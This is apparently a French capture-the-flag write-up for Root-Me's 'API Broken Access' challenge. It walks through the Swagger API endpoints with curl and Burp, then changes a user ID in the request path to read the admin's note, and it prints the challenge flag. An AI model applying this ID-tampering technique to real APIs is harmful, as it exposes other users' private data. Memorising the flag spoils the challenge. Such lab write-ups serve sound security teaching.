

API Broken Access

API - Broken Access

15 Points 🌐

Suivez le Swagger !

Auteur

Nishacid, Mika, 18 janvier 2024

Niveau ?




Validations

5309 Challengeurs 2%

Énoncé

Votre ami a mis en place une plateforme où vous pouvez vous inscrire et mettre une note privée. Tout est fait sur la base d'une API. Avant de mettre en place le Front-End, il vous a demandé de vérifier que tout était sécurisé.

Web Site

 Swagger
Powered by SMARTBEAR

/static/swagger.json

Explore

Root-Me API 0.1

[Base URL: /]
</static/swagger.json>

Schemes

HTTP

default

POST /api/signup Create a new user

POST /api/login Login to the application

GET /api/user Retrieve user information

PUT /api/note Update user note

new user

Curl

```
curl -X 'POST' \
  'http://api-broken-access.challenge01.root-me.org/api/signup' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "Xo_Tour",
    "password": "Xo_Tour"
  }'
```

Request URL

http://api-broken-access.challenge01.root-me.org/api/signup

Server response

Code	Details
201	<p>Response body</p> <pre>{ "message": "User created successfully" }</pre> <p>Response headers</p> <pre>access-control-allow-origin: http://api-broken-access.challenge01.root-me.org connection: keep-alive content-length: 40 content-type: application/json date: Mon, 12 May 2025 12:01:42 GMT server: nginx vary: Origin</pre>

login

Curl

```
curl -X 'POST' \
  'http://api-broken-access.challenge01.root-me.org/api/login' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "Xo_Tour",
    "password": "Xo_Tour"
  }'
```

Request URL

http://api-broken-access.challenge01.root-me.org/api/login

Server response

Code	Details
200	<p>Response body</p> <pre>{ "message": "Logged in successfully" }</pre> <p>Response headers</p> <pre>access-control-allow-origin: http://api-broken-access.challenge01.root-me.org connection: keep-alive content-length: 37 content-type: application/json date: Mon, 12 May 2025 12:02:39 GMT server: nginx vary: Origin, Cookie</pre>

user info(s)

Par défaut, l'ID affiché sera l'utilisateur loggé, avec n'importe quel ID tapé :

Name	Description
user_id integer (path)	<input type="text" value="6"/>

Execute

Clear

Responses

Response content type application/json

Curl

```
curl -X 'GET' \
'http://api-broken-access.challenge01.root-me.org/api/user' \
-H 'accept: application/json'
```

Request URL

```
http://api-broken-access.challenge01.root-me.org/api/user
```

Server response

Code	Details
200	<div>Response body<pre>{ "note": "", "userid": 6, "username": "Xo_Tour" }</pre><div>Download</div></div> <div>Response headers<pre>access-control-allow-origin: * connection: keep-alive content-length: 44 content-type: application/json date: Mon, 12 May 2025 12:03:29 GMT server: nginx vary: Cookie</pre></div>

user note

Curl

```
curl -X 'PUT' \
'http://api-broken-access.challenge01.root-me.org/api/note' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
  "note": "Xo_Tour_Lif33 is the best song ever !"
}'
```

Request URL

```
http://api-broken-access.challenge01.root-me.org/api/note
```

Server response

Code	Details
200	<div>Response body<pre>{ "message": "Note updated successfully." }</pre><div>Download</div></div> <div>Response headers<pre>access-control-allow-origin: http://api-broken-access.challenge01.root-me.org connection: keep-alive content-length: 41 content-type: application/json date: Mon, 12 May 2025 12:05:40 GMT server: nginx vary: Origin, Cookie</pre></div>

Toutes les options testés, maintenant il faut trouver le Broken Access.

Broken Access

L'option qui a retenue mon attention, est le '*user information*' :

burp

Si j'intercepte la requête avec BURP :

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET /api/user	HTTP/1.1		1	HTTP/1.1 200 OK		
2	Host: api-broken-access.challenge01.root-me.org			2	Server: nginx		
3	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0			3	Date: Mon, 12 May 2025 12:09:52 GMT		
4	Accept: application/json			4	Content-Type: application/json		
5	Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3			5	Content-Length: 81		
6	Accept-Encoding: gzip, deflate, br			6	Connection: keep-alive		
7	Referer: http://api-broken-access.challenge01.root-me.org/			7	Access-Control-Allow-Origin: *		
8	Connection: keep-alive			8	Vary: Cookie		
9	Cookie: session=.eJwlzjEOwzAIAMC_eO4AGAPJZyKCQe2aNFVvzdS51vu07Y68ny29X1c-Wjba7a1VWiPo uJM7Uw4ZjA5sJm5OjIoBUqhkiRaYoebySC4m3fa9w6pZuFKpXlySoqzAIHGwoUkg2spZXG buQDDwClz8G4pUN7uyHXm8d9I-_4AXaguFw.aCHjXw.Xz2dvUHtKE7_1Q4hbidxCdqcZHM			9			
10	Priority: u=0			10	{		
11					"note": "Xo_Tour_Lif33 is the best song ever !",		
12					"userid": 6,		
					"username": "Xo_Tour"		
				11	}		

Maintenant, est-ce que je peux changer l'URL en ajoutant /1 réservé aux ID admin/root :

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET /api/user/1	HTTP/1.1		1	HTTP/1.1 200 OK		
2	Host: api-broken-access.challenge01.root-me.org			2	Server: nginx		
3	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0			3	Date: Mon, 12 May 2025 12:11:09 GMT		
4	Accept: application/json			4	Content-Type: application/json		
5	Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3			5	Content-Length: 62		
6	Accept-Encoding: gzip, deflate, br			6	Connection: keep-alive		
7	Referer: http://api-broken-access.challenge01.root-me.org/			7	Access-Control-Allow-Origin: *		
8	Connection: keep-alive			8	Vary: Cookie		
9	Cookie: session=.eJwlzjEOwzAIAMC_eO4AGAPJZyKCQe2aNFVvzdS51vu07Y68ny29X1c-Wjba7a1VWiPo uJM7Uw4ZjA5sJm5OjIoBUqhkiRaYoebySC4m3fa9w6pZuFKpXlySoqzAIHGwoUkg2spZXG buQDDwClz8G4pUN7uyHXm8d9I-_4AXaguFw.aCHjXw.Xz2dvUHtKE7_1Q4hbidxCdqcZHM			9			
10	Priority: u=0			10	{		
11					"note": "RM(E4sy_1d0r_0n_API)",		
12					"userid": 1,		
					"username": "admin"		
				11	}		

"note": "RM{E4sy_1d0r_0n_API}", "userid": 1, "username": "admin"